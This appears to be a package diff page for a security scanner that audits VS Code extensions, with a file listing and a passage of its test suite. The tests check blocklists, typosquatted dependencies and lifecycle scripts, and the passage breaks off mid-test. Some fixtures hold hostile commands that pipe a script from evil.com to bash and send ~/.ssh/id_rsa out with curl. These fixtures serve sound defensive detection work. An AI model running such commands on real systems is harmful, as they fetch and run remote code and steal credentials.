@trailofbits/vsix-audit 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +661 -0
- package/README.md +281 -0
- package/dist/cli.d.ts +3 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +703 -0
- package/dist/cli.js.map +1 -0
- package/dist/index.d.ts +3 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +4 -0
- package/dist/index.js.map +1 -0
- package/dist/scanner/batch.d.ts +12 -0
- package/dist/scanner/batch.d.ts.map +1 -0
- package/dist/scanner/batch.js +104 -0
- package/dist/scanner/batch.js.map +1 -0
- package/dist/scanner/bundler.d.ts +35 -0
- package/dist/scanner/bundler.d.ts.map +1 -0
- package/dist/scanner/bundler.js +120 -0
- package/dist/scanner/bundler.js.map +1 -0
- package/dist/scanner/cache.d.ts +45 -0
- package/dist/scanner/cache.d.ts.map +1 -0
- package/dist/scanner/cache.js +153 -0
- package/dist/scanner/cache.js.map +1 -0
- package/dist/scanner/cache.test.d.ts +2 -0
- package/dist/scanner/cache.test.d.ts.map +1 -0
- package/dist/scanner/cache.test.js +149 -0
- package/dist/scanner/cache.test.js.map +1 -0
- package/dist/scanner/capabilities.d.ts +29 -0
- package/dist/scanner/capabilities.d.ts.map +1 -0
- package/dist/scanner/capabilities.js +217 -0
- package/dist/scanner/capabilities.js.map +1 -0
- package/dist/scanner/checks/ast.d.ts +3 -0
- package/dist/scanner/checks/ast.d.ts.map +1 -0
- package/dist/scanner/checks/ast.js +469 -0
- package/dist/scanner/checks/ast.js.map +1 -0
- package/dist/scanner/checks/ast.test.d.ts +2 -0
- package/dist/scanner/checks/ast.test.d.ts.map +1 -0
- package/dist/scanner/checks/ast.test.js +389 -0
- package/dist/scanner/checks/ast.test.js.map +1 -0
- package/dist/scanner/checks/behavioral.d.ts +3 -0
- package/dist/scanner/checks/behavioral.d.ts.map +1 -0
- package/dist/scanner/checks/behavioral.js +367 -0
- package/dist/scanner/checks/behavioral.js.map +1 -0
- package/dist/scanner/checks/blocklist.d.ts +3 -0
- package/dist/scanner/checks/blocklist.d.ts.map +1 -0
- package/dist/scanner/checks/blocklist.js +32 -0
- package/dist/scanner/checks/blocklist.js.map +1 -0
- package/dist/scanner/checks/blocklist.test.d.ts +2 -0
- package/dist/scanner/checks/blocklist.test.d.ts.map +1 -0
- package/dist/scanner/checks/blocklist.test.js +74 -0
- package/dist/scanner/checks/blocklist.test.js.map +1 -0
- package/dist/scanner/checks/chains.d.ts +35 -0
- package/dist/scanner/checks/chains.d.ts.map +1 -0
- package/dist/scanner/checks/chains.js +505 -0
- package/dist/scanner/checks/chains.js.map +1 -0
- package/dist/scanner/checks/chains.test.d.ts +2 -0
- package/dist/scanner/checks/chains.test.d.ts.map +1 -0
- package/dist/scanner/checks/chains.test.js +250 -0
- package/dist/scanner/checks/chains.test.js.map +1 -0
- package/dist/scanner/checks/dataflow.d.ts +3 -0
- package/dist/scanner/checks/dataflow.d.ts.map +1 -0
- package/dist/scanner/checks/dataflow.js +316 -0
- package/dist/scanner/checks/dataflow.js.map +1 -0
- package/dist/scanner/checks/dependencies.d.ts +13 -0
- package/dist/scanner/checks/dependencies.d.ts.map +1 -0
- package/dist/scanner/checks/dependencies.js +225 -0
- package/dist/scanner/checks/dependencies.js.map +1 -0
- package/dist/scanner/checks/dependencies.test.d.ts +2 -0
- package/dist/scanner/checks/dependencies.test.d.ts.map +1 -0
- package/dist/scanner/checks/dependencies.test.js +248 -0
- package/dist/scanner/checks/dependencies.test.js.map +1 -0
- package/dist/scanner/checks/finding-quality.test.d.ts +8 -0
- package/dist/scanner/checks/finding-quality.test.d.ts.map +1 -0
- package/dist/scanner/checks/finding-quality.test.js +164 -0
- package/dist/scanner/checks/finding-quality.test.js.map +1 -0
- package/dist/scanner/checks/ioc.d.ts +20 -0
- package/dist/scanner/checks/ioc.d.ts.map +1 -0
- package/dist/scanner/checks/ioc.js +234 -0
- package/dist/scanner/checks/ioc.js.map +1 -0
- package/dist/scanner/checks/ioc.test.d.ts +2 -0
- package/dist/scanner/checks/ioc.test.d.ts.map +1 -0
- package/dist/scanner/checks/ioc.test.js +298 -0
- package/dist/scanner/checks/ioc.test.js.map +1 -0
- package/dist/scanner/checks/manifest.d.ts +6 -0
- package/dist/scanner/checks/manifest.d.ts.map +1 -0
- package/dist/scanner/checks/manifest.js +123 -0
- package/dist/scanner/checks/manifest.js.map +1 -0
- package/dist/scanner/checks/manifest.test.d.ts +2 -0
- package/dist/scanner/checks/manifest.test.d.ts.map +1 -0
- package/dist/scanner/checks/manifest.test.js +108 -0
- package/dist/scanner/checks/manifest.test.js.map +1 -0
- package/dist/scanner/checks/obfuscation.d.ts +3 -0
- package/dist/scanner/checks/obfuscation.d.ts.map +1 -0
- package/dist/scanner/checks/obfuscation.js +432 -0
- package/dist/scanner/checks/obfuscation.js.map +1 -0
- package/dist/scanner/checks/obfuscation.test.d.ts +2 -0
- package/dist/scanner/checks/obfuscation.test.d.ts.map +1 -0
- package/dist/scanner/checks/obfuscation.test.js +399 -0
- package/dist/scanner/checks/obfuscation.test.js.map +1 -0
- package/dist/scanner/checks/package.d.ts +17 -0
- package/dist/scanner/checks/package.d.ts.map +1 -0
- package/dist/scanner/checks/package.js +422 -0
- package/dist/scanner/checks/package.js.map +1 -0
- package/dist/scanner/checks/package.test.d.ts +2 -0
- package/dist/scanner/checks/package.test.d.ts.map +1 -0
- package/dist/scanner/checks/package.test.js +518 -0
- package/dist/scanner/checks/package.test.js.map +1 -0
- package/dist/scanner/checks/patterns.d.ts +5 -0
- package/dist/scanner/checks/patterns.d.ts.map +1 -0
- package/dist/scanner/checks/patterns.js +251 -0
- package/dist/scanner/checks/patterns.js.map +1 -0
- package/dist/scanner/checks/patterns.test.d.ts +2 -0
- package/dist/scanner/checks/patterns.test.d.ts.map +1 -0
- package/dist/scanner/checks/patterns.test.js +147 -0
- package/dist/scanner/checks/patterns.test.js.map +1 -0
- package/dist/scanner/checks/unicode.d.ts +3 -0
- package/dist/scanner/checks/unicode.d.ts.map +1 -0
- package/dist/scanner/checks/unicode.js +247 -0
- package/dist/scanner/checks/unicode.js.map +1 -0
- package/dist/scanner/checks/unicode.test.d.ts +2 -0
- package/dist/scanner/checks/unicode.test.d.ts.map +1 -0
- package/dist/scanner/checks/unicode.test.js +202 -0
- package/dist/scanner/checks/unicode.test.js.map +1 -0
- package/dist/scanner/checks/yara.d.ts +23 -0
- package/dist/scanner/checks/yara.d.ts.map +1 -0
- package/dist/scanner/checks/yara.js +349 -0
- package/dist/scanner/checks/yara.js.map +1 -0
- package/dist/scanner/checks/yara.test.d.ts +2 -0
- package/dist/scanner/checks/yara.test.d.ts.map +1 -0
- package/dist/scanner/checks/yara.test.js +126 -0
- package/dist/scanner/checks/yara.test.js.map +1 -0
- package/dist/scanner/constants.d.ts +18 -0
- package/dist/scanner/constants.d.ts.map +1 -0
- package/dist/scanner/constants.js +37 -0
- package/dist/scanner/constants.js.map +1 -0
- package/dist/scanner/detection-coverage.test.d.ts +2 -0
- package/dist/scanner/detection-coverage.test.d.ts.map +1 -0
- package/dist/scanner/detection-coverage.test.js +216 -0
- package/dist/scanner/detection-coverage.test.js.map +1 -0
- package/dist/scanner/download.d.ts +76 -0
- package/dist/scanner/download.d.ts.map +1 -0
- package/dist/scanner/download.js +339 -0
- package/dist/scanner/download.js.map +1 -0
- package/dist/scanner/download.test.d.ts +2 -0
- package/dist/scanner/download.test.d.ts.map +1 -0
- package/dist/scanner/download.test.js +149 -0
- package/dist/scanner/download.test.js.map +1 -0
- package/dist/scanner/index.d.ts +8 -0
- package/dist/scanner/index.d.ts.map +1 -0
- package/dist/scanner/index.js +167 -0
- package/dist/scanner/index.js.map +1 -0
- package/dist/scanner/index.test.d.ts +2 -0
- package/dist/scanner/index.test.d.ts.map +1 -0
- package/dist/scanner/index.test.js +71 -0
- package/dist/scanner/index.test.js.map +1 -0
- package/dist/scanner/loaders/zoo.d.ts +3 -0
- package/dist/scanner/loaders/zoo.d.ts.map +1 -0
- package/dist/scanner/loaders/zoo.js +112 -0
- package/dist/scanner/loaders/zoo.js.map +1 -0
- package/dist/scanner/types.d.ts +118 -0
- package/dist/scanner/types.d.ts.map +1 -0
- package/dist/scanner/types.js +2 -0
- package/dist/scanner/types.js.map +1 -0
- package/dist/scanner/utils.d.ts +14 -0
- package/dist/scanner/utils.d.ts.map +1 -0
- package/dist/scanner/utils.js +25 -0
- package/dist/scanner/utils.js.map +1 -0
- package/dist/scanner/vsix.d.ts +6 -0
- package/dist/scanner/vsix.d.ts.map +1 -0
- package/dist/scanner/vsix.js +213 -0
- package/dist/scanner/vsix.js.map +1 -0
- package/dist/scanner/vsix.test.d.ts +2 -0
- package/dist/scanner/vsix.test.d.ts.map +1 -0
- package/dist/scanner/vsix.test.js +355 -0
- package/dist/scanner/vsix.test.js.map +1 -0
- package/package.json +60 -0
- package/zoo/blocklist/extensions.json +201 -0
- package/zoo/iocs/blockchain-extensions.txt +21 -0
- package/zoo/iocs/c2-domains.txt +50 -0
- package/zoo/iocs/c2-ips.txt +24 -0
- package/zoo/iocs/hashes.txt +47 -0
- package/zoo/iocs/malicious-npm.txt +85 -0
- package/zoo/iocs/wallets.txt +18 -0
- package/zoo/signatures/yara/README.md +46 -0
- package/zoo/signatures/yara/blockchain_c2.yar +48 -0
- package/zoo/signatures/yara/code_execution.yar +165 -0
- package/zoo/signatures/yara/credential_harvesting.yar +116 -0
- package/zoo/signatures/yara/crypto_wallet_targeting.yar +92 -0
- package/zoo/signatures/yara/data_exfiltration.yar +207 -0
- package/zoo/signatures/yara/google_calendar_c2.yar +187 -0
- package/zoo/signatures/yara/messaging_c2.yar +103 -0
- package/zoo/signatures/yara/multi_stage_attacks.yar +331 -0
- package/zoo/signatures/yara/obfuscation_patterns.yar +208 -0
- package/zoo/signatures/yara/powershell_attacks.yar +116 -0
- package/zoo/signatures/yara/rat_capabilities.yar +243 -0
- package/zoo/signatures/yara/self_propagation.yar +239 -0
- package/zoo/signatures/yara/unicode_stealth.yar +48 -0
- package/zoo/signatures/yara/websocket_c2.yar +83 -0
|
@@ -0,0 +1,518 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { checkActivationEvents, checkBlocklist, checkLifecycleScripts, checkMaliciousPackages, checkPackage, checkThemeAbuse, checkTyposquattingPackages, } from "./package.js";
|
|
3
|
+
// --- Test helpers ---
|
|
4
|
+
function makePackageJson(content) {
|
|
5
|
+
return JSON.stringify(content, null, 2);
|
|
6
|
+
}
|
|
7
|
+
function makeContents(packageJsonContent, manifestOverrides = {}) {
|
|
8
|
+
const manifest = {
|
|
9
|
+
name: "test-extension",
|
|
10
|
+
publisher: "test",
|
|
11
|
+
version: "1.0.0",
|
|
12
|
+
...manifestOverrides,
|
|
13
|
+
};
|
|
14
|
+
const files = new Map();
|
|
15
|
+
files.set("package.json", Buffer.from(makePackageJson(packageJsonContent), "utf8"));
|
|
16
|
+
return { manifest, files, basePath: "/test" };
|
|
17
|
+
}
|
|
18
|
+
function makeZooData(maliciousPackages = []) {
|
|
19
|
+
return {
|
|
20
|
+
blocklist: [],
|
|
21
|
+
hashes: new Set(),
|
|
22
|
+
domains: new Set(),
|
|
23
|
+
ips: new Set(),
|
|
24
|
+
maliciousNpmPackages: new Set(maliciousPackages.map((p) => p.toLowerCase())),
|
|
25
|
+
wallets: new Set(),
|
|
26
|
+
blockchainAllowlist: new Set(),
|
|
27
|
+
};
|
|
28
|
+
}
|
|
29
|
+
// --- Blocklist checks ---
|
|
30
|
+
describe("checkBlocklist", () => {
|
|
31
|
+
const blocklist = [
|
|
32
|
+
{
|
|
33
|
+
id: "malicious.extension",
|
|
34
|
+
name: "Malicious Extension",
|
|
35
|
+
reason: "Known malware",
|
|
36
|
+
campaign: "Test",
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
id: "badpublisher.*",
|
|
40
|
+
name: "Bad Publisher (all)",
|
|
41
|
+
reason: "All extensions from this publisher are malicious",
|
|
42
|
+
campaign: "Test",
|
|
43
|
+
},
|
|
44
|
+
{
|
|
45
|
+
id: "498-00.*",
|
|
46
|
+
name: "498-00 publisher (all)",
|
|
47
|
+
reason: "TigerJack republished extensions",
|
|
48
|
+
campaign: "TigerJack",
|
|
49
|
+
},
|
|
50
|
+
];
|
|
51
|
+
it("matches exact extension ID", () => {
|
|
52
|
+
const manifest = {
|
|
53
|
+
name: "extension",
|
|
54
|
+
publisher: "malicious",
|
|
55
|
+
version: "1.0.0",
|
|
56
|
+
};
|
|
57
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
58
|
+
expect(findings).toHaveLength(1);
|
|
59
|
+
expect(findings[0]?.id).toBe("BLOCKLIST_MATCH");
|
|
60
|
+
expect(findings[0]?.severity).toBe("critical");
|
|
61
|
+
});
|
|
62
|
+
it("matches wildcard publisher pattern", () => {
|
|
63
|
+
const manifest = {
|
|
64
|
+
name: "some-extension",
|
|
65
|
+
publisher: "badpublisher",
|
|
66
|
+
version: "1.0.0",
|
|
67
|
+
};
|
|
68
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
69
|
+
expect(findings).toHaveLength(1);
|
|
70
|
+
expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("badpublisher.*");
|
|
71
|
+
});
|
|
72
|
+
it("matches publisher with special characters in pattern", () => {
|
|
73
|
+
const manifest = {
|
|
74
|
+
name: "pythonformat",
|
|
75
|
+
publisher: "498-00",
|
|
76
|
+
version: "1.0.0",
|
|
77
|
+
};
|
|
78
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
79
|
+
expect(findings).toHaveLength(1);
|
|
80
|
+
expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("498-00.*");
|
|
81
|
+
});
|
|
82
|
+
it("does not match clean extension", () => {
|
|
83
|
+
const manifest = {
|
|
84
|
+
name: "clean-extension",
|
|
85
|
+
publisher: "trusted-publisher",
|
|
86
|
+
version: "1.0.0",
|
|
87
|
+
};
|
|
88
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
89
|
+
expect(findings).toHaveLength(0);
|
|
90
|
+
});
|
|
91
|
+
it("does not match partial ID without wildcard", () => {
|
|
92
|
+
const manifest = {
|
|
93
|
+
name: "extension-extra",
|
|
94
|
+
publisher: "malicious",
|
|
95
|
+
version: "1.0.0",
|
|
96
|
+
};
|
|
97
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
98
|
+
expect(findings).toHaveLength(0);
|
|
99
|
+
});
|
|
100
|
+
it("matches case-insensitively for exact IDs", () => {
|
|
101
|
+
const manifest = {
|
|
102
|
+
name: "Extension",
|
|
103
|
+
publisher: "Malicious",
|
|
104
|
+
version: "1.0.0",
|
|
105
|
+
};
|
|
106
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
107
|
+
expect(findings).toHaveLength(1);
|
|
108
|
+
expect(findings[0]?.id).toBe("BLOCKLIST_MATCH");
|
|
109
|
+
});
|
|
110
|
+
it("matches case-insensitively for wildcard patterns", () => {
|
|
111
|
+
const manifest = {
|
|
112
|
+
name: "some-extension",
|
|
113
|
+
publisher: "BadPublisher",
|
|
114
|
+
version: "1.0.0",
|
|
115
|
+
};
|
|
116
|
+
const findings = checkBlocklist(manifest, blocklist);
|
|
117
|
+
expect(findings).toHaveLength(1);
|
|
118
|
+
expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("badpublisher.*");
|
|
119
|
+
});
|
|
120
|
+
});
|
|
121
|
+
// --- Manifest checks ---
|
|
122
|
+
describe("checkActivationEvents", () => {
|
|
123
|
+
it("flags wildcard activation event", () => {
|
|
124
|
+
const manifest = {
|
|
125
|
+
name: "test",
|
|
126
|
+
publisher: "test",
|
|
127
|
+
version: "1.0.0",
|
|
128
|
+
activationEvents: ["*"],
|
|
129
|
+
};
|
|
130
|
+
const findings = checkActivationEvents(manifest);
|
|
131
|
+
expect(findings.some((f) => f.id === "ACTIVATION_WILDCARD")).toBe(true);
|
|
132
|
+
expect(findings[0]?.severity).toBe("high");
|
|
133
|
+
});
|
|
134
|
+
it("flags onStartupFinished activation event", () => {
|
|
135
|
+
const manifest = {
|
|
136
|
+
name: "test",
|
|
137
|
+
publisher: "test",
|
|
138
|
+
version: "1.0.0",
|
|
139
|
+
activationEvents: ["onStartupFinished"],
|
|
140
|
+
};
|
|
141
|
+
const findings = checkActivationEvents(manifest);
|
|
142
|
+
expect(findings.some((f) => f.id === "ACTIVATION_STARTUP")).toBe(true);
|
|
143
|
+
expect(findings[0]?.severity).toBe("medium");
|
|
144
|
+
});
|
|
145
|
+
it("does not flag normal activation events", () => {
|
|
146
|
+
const manifest = {
|
|
147
|
+
name: "test",
|
|
148
|
+
publisher: "test",
|
|
149
|
+
version: "1.0.0",
|
|
150
|
+
activationEvents: ["onCommand:test.command", "onLanguage:typescript"],
|
|
151
|
+
};
|
|
152
|
+
const findings = checkActivationEvents(manifest);
|
|
153
|
+
expect(findings).toHaveLength(0);
|
|
154
|
+
});
|
|
155
|
+
});
|
|
156
|
+
describe("checkThemeAbuse", () => {
|
|
157
|
+
it("flags theme extension with code entry point", () => {
|
|
158
|
+
const manifest = {
|
|
159
|
+
name: "test-theme",
|
|
160
|
+
publisher: "test",
|
|
161
|
+
version: "1.0.0",
|
|
162
|
+
main: "./extension.js",
|
|
163
|
+
contributes: {
|
|
164
|
+
themes: [{ id: "dark-theme", label: "Dark Theme", path: "./themes/dark.json" }],
|
|
165
|
+
},
|
|
166
|
+
};
|
|
167
|
+
const findings = checkThemeAbuse(manifest);
|
|
168
|
+
expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
|
|
169
|
+
expect(findings[0]?.severity).toBe("high");
|
|
170
|
+
});
|
|
171
|
+
it("flags icon theme extension with code entry point", () => {
|
|
172
|
+
const manifest = {
|
|
173
|
+
name: "test-icons",
|
|
174
|
+
publisher: "test",
|
|
175
|
+
version: "1.0.0",
|
|
176
|
+
main: "./extension.js",
|
|
177
|
+
contributes: {
|
|
178
|
+
iconThemes: [{ id: "material-icons", label: "Material Icons", path: "./icons.json" }],
|
|
179
|
+
},
|
|
180
|
+
};
|
|
181
|
+
const findings = checkThemeAbuse(manifest);
|
|
182
|
+
expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
|
|
183
|
+
});
|
|
184
|
+
it("does not flag pure theme without code", () => {
|
|
185
|
+
const manifest = {
|
|
186
|
+
name: "test-theme",
|
|
187
|
+
publisher: "test",
|
|
188
|
+
version: "1.0.0",
|
|
189
|
+
contributes: {
|
|
190
|
+
themes: [{ id: "dark-theme", label: "Dark Theme", path: "./themes/dark.json" }],
|
|
191
|
+
},
|
|
192
|
+
};
|
|
193
|
+
const findings = checkThemeAbuse(manifest);
|
|
194
|
+
expect(findings).toHaveLength(0);
|
|
195
|
+
});
|
|
196
|
+
it("does not flag extension with code but no themes", () => {
|
|
197
|
+
const manifest = {
|
|
198
|
+
name: "test-extension",
|
|
199
|
+
publisher: "test",
|
|
200
|
+
version: "1.0.0",
|
|
201
|
+
main: "./extension.js",
|
|
202
|
+
contributes: {
|
|
203
|
+
commands: [{ command: "test.command", title: "Test Command" }],
|
|
204
|
+
},
|
|
205
|
+
};
|
|
206
|
+
const findings = checkThemeAbuse(manifest);
|
|
207
|
+
expect(findings).toHaveLength(0);
|
|
208
|
+
});
|
|
209
|
+
});
|
|
210
|
+
// --- Dependency checks ---
|
|
211
|
+
describe("checkMaliciousPackages", () => {
|
|
212
|
+
it("detects known malicious packages in dependencies", () => {
|
|
213
|
+
const packageJson = {
|
|
214
|
+
dependencies: {
|
|
215
|
+
express: "^4.0.0",
|
|
216
|
+
"event-stream": "^3.3.4",
|
|
217
|
+
},
|
|
218
|
+
};
|
|
219
|
+
const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
|
|
220
|
+
expect(findings).toHaveLength(1);
|
|
221
|
+
expect(findings.some((f) => f.id === "MALICIOUS_NPM_PACKAGE")).toBe(true);
|
|
222
|
+
expect(findings.some((f) => f.severity === "critical")).toBe(true);
|
|
223
|
+
expect(findings.some((f) => f.metadata?.["package"] === "event-stream")).toBe(true);
|
|
224
|
+
});
|
|
225
|
+
it("ignores malicious packages in devDependencies (not bundled in .vsix)", () => {
|
|
226
|
+
const packageJson = {
|
|
227
|
+
devDependencies: {
|
|
228
|
+
jest: "^29.0.0",
|
|
229
|
+
"ua-parser-js": "^0.7.0",
|
|
230
|
+
},
|
|
231
|
+
};
|
|
232
|
+
const findings = checkMaliciousPackages(packageJson, new Set(["ua-parser-js"]));
|
|
233
|
+
// devDependencies are not checked because they're not bundled in .vsix files
|
|
234
|
+
expect(findings).toHaveLength(0);
|
|
235
|
+
});
|
|
236
|
+
it("is case-insensitive", () => {
|
|
237
|
+
const packageJson = {
|
|
238
|
+
dependencies: {
|
|
239
|
+
"Event-Stream": "^3.3.4",
|
|
240
|
+
},
|
|
241
|
+
};
|
|
242
|
+
const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
|
|
243
|
+
expect(findings).toHaveLength(1);
|
|
244
|
+
});
|
|
245
|
+
it("returns empty array for clean dependencies", () => {
|
|
246
|
+
const packageJson = {
|
|
247
|
+
dependencies: {
|
|
248
|
+
express: "^4.0.0",
|
|
249
|
+
lodash: "^4.0.0",
|
|
250
|
+
},
|
|
251
|
+
};
|
|
252
|
+
const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
|
|
253
|
+
expect(findings).toHaveLength(0);
|
|
254
|
+
});
|
|
255
|
+
});
|
|
256
|
+
describe("checkTyposquattingPackages", () => {
|
|
257
|
+
it("detects known typosquats", () => {
|
|
258
|
+
const packageJson = {
|
|
259
|
+
dependencies: {
|
|
260
|
+
lodahs: "^4.0.0", // typosquat of lodash
|
|
261
|
+
},
|
|
262
|
+
};
|
|
263
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
264
|
+
expect(findings).toHaveLength(1);
|
|
265
|
+
expect(findings.some((f) => f.id === "TYPOSQUAT_PACKAGE")).toBe(true);
|
|
266
|
+
expect(findings.some((f) => f.severity === "high")).toBe(true);
|
|
267
|
+
expect(findings.some((f) => f.metadata?.["similar_to"] === "lodash")).toBe(true);
|
|
268
|
+
});
|
|
269
|
+
it("detects crossenv typosquat", () => {
|
|
270
|
+
const packageJson = {
|
|
271
|
+
dependencies: {
|
|
272
|
+
crossenv: "^7.0.0", // typosquat of cross-env
|
|
273
|
+
},
|
|
274
|
+
};
|
|
275
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
276
|
+
expect(findings).toHaveLength(1);
|
|
277
|
+
expect(findings.some((f) => f.metadata?.["similar_to"] === "cross-env")).toBe(true);
|
|
278
|
+
});
|
|
279
|
+
it("detects typosquats by edit distance", () => {
|
|
280
|
+
const packageJson = {
|
|
281
|
+
dependencies: {
|
|
282
|
+
expres: "^4.0.0", // 1 char different from express
|
|
283
|
+
},
|
|
284
|
+
};
|
|
285
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
286
|
+
expect(findings).toHaveLength(1);
|
|
287
|
+
expect(findings.some((f) => f.metadata?.["similar_to"] === "express")).toBe(true);
|
|
288
|
+
const finding = findings.find((f) => f.id === "TYPOSQUAT_PACKAGE");
|
|
289
|
+
const distance = finding?.metadata?.["edit_distance"];
|
|
290
|
+
expect(typeof distance === "number" && distance <= 2).toBe(true);
|
|
291
|
+
});
|
|
292
|
+
it("does not flag legitimate packages", () => {
|
|
293
|
+
const packageJson = {
|
|
294
|
+
dependencies: {
|
|
295
|
+
express: "^4.0.0",
|
|
296
|
+
lodash: "^4.0.0",
|
|
297
|
+
react: "^18.0.0",
|
|
298
|
+
},
|
|
299
|
+
};
|
|
300
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
301
|
+
expect(findings).toHaveLength(0);
|
|
302
|
+
});
|
|
303
|
+
it("does not flag known-good packages (chai, open, core, etc.)", () => {
|
|
304
|
+
const packageJson = {
|
|
305
|
+
dependencies: {
|
|
306
|
+
chai: "^4.0.0", // Testing library, similar to chalk
|
|
307
|
+
open: "^9.0.0", // URL opener, similar to openai
|
|
308
|
+
core: "^1.0.0", // Common name, similar to cors
|
|
309
|
+
uuid4: "^2.0.0", // UUID v4, similar to uuid
|
|
310
|
+
acorn: "^8.0.0", // JS parser, similar to cors
|
|
311
|
+
async: "^3.0.0", // Async utilities
|
|
312
|
+
debug: "^4.0.0", // Debug logging
|
|
313
|
+
},
|
|
314
|
+
};
|
|
315
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
316
|
+
expect(findings).toHaveLength(0);
|
|
317
|
+
});
|
|
318
|
+
it("does not flag legitimate linters similar to eslint", () => {
|
|
319
|
+
const packageJson = {
|
|
320
|
+
dependencies: {
|
|
321
|
+
tslint: "^6.0.0", // TypeScript linter (deprecated but legitimate)
|
|
322
|
+
xqlint: "^0.4.0", // XQuery linter
|
|
323
|
+
},
|
|
324
|
+
};
|
|
325
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
326
|
+
expect(findings).toHaveLength(0);
|
|
327
|
+
});
|
|
328
|
+
it("does not flag Node.js core module shims", () => {
|
|
329
|
+
const packageJson = {
|
|
330
|
+
dependencies: {
|
|
331
|
+
util: "^0.12.0", // Node.js util shim
|
|
332
|
+
os: "^0.1.0", // Node.js os shim
|
|
333
|
+
},
|
|
334
|
+
};
|
|
335
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
336
|
+
expect(findings).toHaveLength(0);
|
|
337
|
+
});
|
|
338
|
+
it("does not flag legitimate UUID/ID libraries", () => {
|
|
339
|
+
const packageJson = {
|
|
340
|
+
dependencies: {
|
|
341
|
+
uuidv4: "^6.0.0", // UUID v4 generator
|
|
342
|
+
ulid: "^2.0.0", // ULID library (different from UUID)
|
|
343
|
+
},
|
|
344
|
+
};
|
|
345
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
346
|
+
expect(findings).toHaveLength(0);
|
|
347
|
+
});
|
|
348
|
+
it("does not flag legitimate database drivers and alternatives", () => {
|
|
349
|
+
const packageJson = {
|
|
350
|
+
dependencies: {
|
|
351
|
+
mssql: "^9.0.0", // Microsoft SQL Server driver
|
|
352
|
+
mysql2: "^3.0.0", // MySQL2 driver (successor to mysql)
|
|
353
|
+
preact: "^10.0.0", // Lightweight React alternative
|
|
354
|
+
},
|
|
355
|
+
};
|
|
356
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
357
|
+
expect(findings).toHaveLength(0);
|
|
358
|
+
});
|
|
359
|
+
it("does not flag legitimate CLI and build utilities", () => {
|
|
360
|
+
const packageJson = {
|
|
361
|
+
dependencies: {
|
|
362
|
+
colors: "^1.0.0", // CLI colors
|
|
363
|
+
cpr: "^3.0.0", // Recursive copy
|
|
364
|
+
defu: "^6.0.0", // Deep defaults utility
|
|
365
|
+
jsonc: "^2.0.0", // JSON with Comments parser
|
|
366
|
+
opener: "^1.0.0", // URL/file opener
|
|
367
|
+
},
|
|
368
|
+
};
|
|
369
|
+
const findings = checkTyposquattingPackages(packageJson);
|
|
370
|
+
expect(findings).toHaveLength(0);
|
|
371
|
+
});
|
|
372
|
+
});
|
|
373
|
+
describe("checkLifecycleScripts", () => {
|
|
374
|
+
it("detects postinstall script", () => {
|
|
375
|
+
const packageJson = {
|
|
376
|
+
scripts: {
|
|
377
|
+
postinstall: "echo 'installed'",
|
|
378
|
+
},
|
|
379
|
+
};
|
|
380
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
381
|
+
expect(findings).toHaveLength(1);
|
|
382
|
+
expect(findings.some((f) => f.id === "LIFECYCLE_SCRIPT")).toBe(true);
|
|
383
|
+
expect(findings.some((f) => f.severity === "medium")).toBe(true);
|
|
384
|
+
expect(findings.some((f) => f.metadata?.["script"] === "postinstall")).toBe(true);
|
|
385
|
+
});
|
|
386
|
+
it("detects preinstall script", () => {
|
|
387
|
+
const packageJson = {
|
|
388
|
+
scripts: {
|
|
389
|
+
preinstall: "node setup.js",
|
|
390
|
+
},
|
|
391
|
+
};
|
|
392
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
393
|
+
expect(findings).toHaveLength(1);
|
|
394
|
+
expect(findings.some((f) => f.metadata?.["script"] === "preinstall")).toBe(true);
|
|
395
|
+
});
|
|
396
|
+
it("detects malicious curl pipe to bash", () => {
|
|
397
|
+
const packageJson = {
|
|
398
|
+
scripts: {
|
|
399
|
+
postinstall: "curl https://evil.com/script.sh | bash",
|
|
400
|
+
},
|
|
401
|
+
};
|
|
402
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
403
|
+
expect(findings).toHaveLength(1);
|
|
404
|
+
expect(findings.some((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT")).toBe(true);
|
|
405
|
+
expect(findings.some((f) => f.severity === "critical")).toBe(true);
|
|
406
|
+
});
|
|
407
|
+
it("detects SSH key access in scripts", () => {
|
|
408
|
+
const packageJson = {
|
|
409
|
+
scripts: {
|
|
410
|
+
postinstall: "cat ~/.ssh/id_rsa | curl -d @- https://evil.com",
|
|
411
|
+
},
|
|
412
|
+
};
|
|
413
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
414
|
+
const maliciousFinding = findings.find((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT");
|
|
415
|
+
expect(maliciousFinding).toBeDefined();
|
|
416
|
+
expect(maliciousFinding?.metadata?.["pattern"]).toBe("SSH key access");
|
|
417
|
+
});
|
|
418
|
+
it("detects Discord webhook in scripts", () => {
|
|
419
|
+
const packageJson = {
|
|
420
|
+
scripts: {
|
|
421
|
+
